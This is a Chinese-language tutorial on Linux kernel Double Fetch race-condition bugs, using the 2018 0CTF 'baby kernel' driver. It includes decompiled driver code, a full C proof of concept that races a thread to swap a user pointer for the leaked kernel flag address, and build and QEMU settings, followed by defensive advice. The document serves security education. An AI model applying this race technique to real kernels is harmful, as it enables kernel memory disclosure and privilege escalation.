Linux Kernel Exploit 内核漏洞学习(1)-Double Fetch
字数 1273 2025-08-04 00:53:48
Linux Kernel Double Fetch 漏洞分析与利用
1. Double Fetch 漏洞概述
Double Fetch 是一种内核条件竞争漏洞,发生在内核态与用户态之间的数据访问竞争场景中。其核心原理是:
- 用户态线程通过系统调用将数据传入内核
- 内核对该数据进行两次取用:
- 第一次取用进行安全检查(如缓冲区大小、指针可用性等)
- 第二次取用进行实际处理
- 在两次取用的间隙,另一个用户态线程可以篡改已通过检查的数据
- 导致内核在真实使用时出现访问越界或缓冲区溢出,可能引发内核崩溃或权限提升
2. 漏洞示例分析(2018 0CTF Finals Baby Kernel)
2.1 驱动功能分析
驱动注册了 baby_ioctl 函数,提供两个功能:
-
打印flag地址(cmd=0x6666):
if ((_DWORD)a2 == 0x6666) { printk("Your flag is at %px! But I don't think you know it's content\n", flag); result = 0LL; } -
打印flag内容(cmd=0x1337):
else if ((_DWORD)a2 == 0x1337 && !_chk_range_not_ok(v2, 16LL, *(_QWORD *)(current_task + 0x1358LL)) && !_chk_range_not_ok(*(_QWORD *)v5, *(_DWORD *)(v5 + 8), *(_QWORD *)(current_task + 0x1358LL)) && *(_DWORD *)(v5 + 8) == strlen(flag)) { for (i = 0; i < strlen(flag); ++i) { if (*(_BYTE *)(*(_QWORD *)v5 + i) != flag[i]) return 22LL; } printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag); result = 0LL; }
2.2 关键数据结构
驱动使用了一个结构体来传递flag信息:
struct v5 {
char *flag; // flag指针
size_t len; // flag长度
};
2.3 安全检查机制
打印flag内容前有两处安全检查:
-
第一处检查(条件判断):
- 检查传入的v5结构体是否位于用户空间
- 检查v5->flag指向的地址是否位于用户空间
- 检查v5->len是否等于硬编码flag的长度
-
第二处检查(内容比较):
- 逐字节比较用户提供的flag与内核中的flag是否一致
2.4 漏洞成因
漏洞存在于两次检查之间:
- 第一次检查确保所有指针都指向用户空间
- 第二次检查实际比较flag内容
- 在这两次操作之间,存在时间窗口可以修改指针值
3. 漏洞利用思路
3.1 利用步骤
-
获取内核flag地址:
- 使用cmd=0x6666获取flag在内核中的地址
- 通过dmesg命令读取打印的地址信息
-
构造恶意数据结构:
struct v5 t; t.flag = user_flag; // 初始指向用户空间 t.len = 33; // 硬编码flag的长度 -
创建竞争线程:
- 启动一个线程不断将t.flag修改为内核flag地址
- 主线程不断尝试调用cmd=0x1337
-
触发竞争条件:
- 当检查通过后,竞争线程将指针改为内核flag地址
- 使得内核比较flag自身,从而通过检查
3.2 完整POC代码
#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <pthread.h>
unsigned long long flag_addr;
int Time = 1000;
int finish = 1;
struct v5 {
char *flag;
size_t len;
};
// 竞争线程:将user_flag_addr改为kernel_flag_addr
void change_flag_addr(void *a) {
struct v5 *s = a;
while (finish == 1) {
s->flag = flag_addr;
}
}
int main() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
pthread_t t1;
char buf[201] = {0};
char m[] = "flag{AAAA_BBBB_CC_DDDD_EEEE_FFFF}"; // 用户空间flag
char *addr;
int file_addr, fd, ret, id, i;
struct v5 t;
t.flag = m;
t.len = 33;
fd = open("/dev/baby", 0);
ret = ioctl(fd, 0x6666);
// 获取内核flag地址
system("dmesg | grep flag > /tmp/sir.txt");
file_addr = open("/tmp/sir.txt", O_RDONLY);
id = read(file_addr, buf, 200);
close(file_addr);
addr = strstr(buf, "Your flag is at ");
if (addr) {
addr += 16;
flag_addr = strtoull(addr, addr + 16, 16);
printf("[*]The flag_addr is at: %p\n", flag_addr);
} else {
printf("[*]Didn't find the flag_addr!\n");
return 0;
}
// 创建恶意线程
pthread_create(&t1, NULL, change_flag_addr, &t);
// 主线程尝试触发漏洞
for (i = 0; i < Time; i++) {
ret = ioctl(fd, 0x1337, &t);
t.flag = m; // 恢复为用户地址以通过第一次检查
}
finish = 0;
pthread_join(t1, NULL);
close(fd);
printf("[*]The result:\n");
system("dmesg | grep flag");
return 0;
}
3.3 编译与运行
编译命令:
gcc poc.c -o poc -static -w -pthread
运行环境要求:
- QEMU启动参数不能开启SMAP保护
- 需要配置多核环境(非单核单线程):
-smp 2,cores=2,threads=1
4. 调试技巧
-
内核驱动调试方法:
- 安装驱动
- 对目标函数下断点
- 运行POC程序
- 在断点处进行调试
-
关键调试点:
- 检查
baby_ioctl函数的执行流程 - 观察两次数据取用之间的时间窗口
- 监控竞争线程修改指针的时机
- 检查
5. 防御措施
-
内核开发层面:
- 使用
copy_from_user一次性将用户数据复制到内核空间 - 对关键数据使用锁机制保护
- 减少用户数据在内核中的暴露时间
- 使用
-
系统配置层面:
- 启用SMAP/SMEP保护
- 使用内核地址空间布局随机化(KASLR)
- 限制用户对敏感设备的访问权限
6. 总结
Double Fetch漏洞展示了内核与用户空间交互时的潜在风险。通过精心设计的竞争条件,攻击者可以绕过内核的安全检查机制。理解这类漏洞有助于开发者编写更安全的驱动代码,也有助于安全研究人员识别和防御此类攻击。